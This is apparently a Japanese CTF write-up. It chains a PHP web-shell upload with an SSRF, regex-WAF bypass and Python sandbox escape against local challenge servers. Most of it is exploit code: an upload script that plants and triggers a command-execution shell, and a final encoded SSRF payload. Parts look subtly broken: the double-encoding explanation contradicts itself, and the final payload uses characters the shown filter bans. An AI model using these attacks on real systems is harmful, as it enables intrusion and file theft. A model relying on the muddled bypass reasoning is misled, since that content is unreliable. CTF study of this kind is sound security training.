CTF環境におけるWeb脆弱性の連鎖攻撃とWAF回避技法

CVE情報を用いたファイルアップロード脆弱性の検証

セキュリティ競技において、既知の脆弱性情報(CVE)を習得・応用する課題は、初学者が実戦的な攻撃フローを構築する上で効果的です。本検証では、特定バージョンのWebアプリケーションにおけるアップロードフィルタの誤設定を題材としています。攻撃手法は、マルチパートフォームデータを活用した悪意あるスクリプトの混入です。

以下は、該当エンドポイントに対してリクエストを構築し、アップロードされたリソースをトリガーするPythonスクリプトの実装例です。

import requests

target_endpoint = "http://127.0.0.1:8081/registration.php"

# フォームパラメータの定義
payload_form = {
    "user_id": "researcher_01",
    "contact_email": "lab@example.org",
    "access_key": "secure_token_x9",
    "phone_number": "09099887766",
    "category": "admin",
    "tags[]": "security",
    "register_action": "Confirm"
}

# 悪意あるコードを含むファイルの設定
malicious_upload = {
    "attachment": ("exploit_shell.php", '<?php passthru($_GET["exec"]); ?>', "application/octet-stream")
}

# アップロードリクエストの送信
requests.post(target_endpoint, data=payload_form, files=malicious_upload)

# 保存先パスの推測とコード実行
execution_url = f"http://127.0.0.1:8081/uploads/researcher_01/exploit_shell.php?exec=cat /flag"
print(requests.get(execution_url).text)

この手法により、ファイル保存ディレクトリにスクリプトが配置され、指定されたパラメータを介してOSコマンドが実行されます。

SSRF、正規表現フィルタ回避、およびPyJailの連鎖

次に、内部ネットワーク制限付きの評価エンドポイントと、外部リソース取得機能を併せ持つアプリケーションの脆弱性連鎖を解説します。以下は、問題として提示されたサーバーサイドロジックを保持しつつ、変数名および構造を整理したコードです。

import re
import flask
import requests
import ipaddress
from urllib.parse import urlparse

# 特定文字の連続出現を制限するパターン
FILTER_PATTERN = r'[a-zA-Z0-9_\[\]{}()<>,.!@#$^&*]{3}'

app = flask.Flask(__name__)

def sanitize_input(data):
    # 連続3文字以上の制限文字列が含まれないか検証
    return len(re.findall(FILTER_PATTERN, data)) == 0

def validate_origin(target_url):
    # 許可されたドメインプレフィックスの強制
    if not target_url.startswith('http://vnctf.'):
        return None

    parsed = urlparse(target_url)
    host = parsed.hostname
    query = parsed.query

    # クエリパラメータ内のパターン検証
    if not sanitize_input(query):
        return None

    # IPアドレス直接指定の遮断
    try:
        ipaddress.ip_address(host)
        return None
    except ValueError:
        pass

    return target_url

@app.route('/')
def index():
    return 'Service Active.'

@app.route('/fetch_data')
def proxy_request():
    raw_url = flask.request.args.get('url')
    safe_url = validate_origin(raw_url)

    if safe_url:
        try:
            # リダイレクトを無効化して取得
            response = requests.get(safe_url, allow_redirects=False)
            return response.text
        except Exception:
            return 'Request Failed'
    return 'Access Denied'

@app.route('/internal/evaluate')
def restricted_executor():
    # ローカルループバックからのみアクセス許可
    if flask.request.remote_addr not in ('127.0.0.1', '::1'):
        return 'Forbidden'

    expression = flask.request.args.get('code')

    # 文字列長制限
    if len(expression) >= 304:
        return 'Length Limit Exceeded'

    # 禁止シンタックスチェック
    banned_chars = ['\\x', '+', 'join', '"', "'", '[', ']', '2', '3', '4', '5', '6', '7', '8', '9']
    if any(sym in expression for sym in banned_chars):
        return 'Syntax Violation'

    # 制限された実行環境の構築
    safe_namespace = {'__builtins__': None, 'arr': list, 'map': dict}

    try:
        return repr(eval(expression, safe_namespace))
    except Exception:
        return 'Runtime Error'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

攻撃ベクトルの構築手順

1. ドメイン検証ロジックの迂回

URLパース処理において、ホスト名の直前に `@` 記号を配置すると、その preceding の文字列は認証情報として解釈され、実際のTCP接続先は `@` 以降のホスト名が採用されます。この仕様により、`http://vnctf.@localhost:8080` のような形式を構築することで、プレフィックスチェックとIPフィルタの両方を同時に回避できます。

2. WAF正規表現の二重エンコード回避

サーバー側では、特定文字の連続出現をブロックするWAFが実装されています。しかし、Flaskフレームワークのリクエスト解析では、URLエンコードされたクエリパラメータは内部処理前に自動的にデコードされます。この処理順序の差に注目します。WAFはデコード前の文字列に対して正規表現マッチを行うため、ペイロード全体を2回URLエンコードすると、1回目のデコード時にWAFチェック用に変換前の状態に戻り、2回目のフレームワーク内部処理で本来のPythonコードが復元されます。例えば、連続する文字列は `%25XX%25XX` の形式で送信されるため、正規表現パターン `{3}` にマッチせずフィルタを通過します。

3. PyJail環境での権限昇格

数字と基本的な演算子・クォートが制限される環境でも、組み込み型のメタクラス機能を利用することでスコープを脱出可能です。`abc.ABCMeta` クラスの `register` 関数を介して `__globals__` ディクショナリにアクセスし、`__builtins__` を取得する手法が安定しています。数字の制限については、`0` と `1` を用いた論理演算、または `0b` 接頭辞による2進数表記で代替できます。

最終的なエクスプロイトは、SSRF経由で内部評価エンドポイントを呼び出し、二重エンコードされたPyJailペイロードを渡すことで完結します。以下のURL構造でリクエストを投下すると、ファイル内容が取得されます。

/fetch_data?url=http://vnctf.@localhost:8080/internal/evaluate%3fcode=%2561%2572%2572%252e%255f%255f%2563%256c%2561%2573%2573%255f%255f%252e%255f%255f%2573%2575%2562%2563%256c%2561%2573%2573%2565%2573%255f%255f%2528%2529%255b%2530%255d%252e%2572%2565%2567%2569%2573%2574%2565%2572%252e%255f%255f%2567%256c%256f%2562%2561%256c%2573%255f%255f%252e%2567%2565%2574%2528%2522%255f%255f%2562%2575%2569%256c%2574%2569%256e%2573%255f%255f%2522%2529%252e%256f%2570%2565%256e%2528%2522%2566%256c%2561%2567%2522%2529%252e%2572%2565%2561%2564%2528%2529

タグ: CTF WebSecurity SSRF Python PyJail

5月18日 02:30 投稿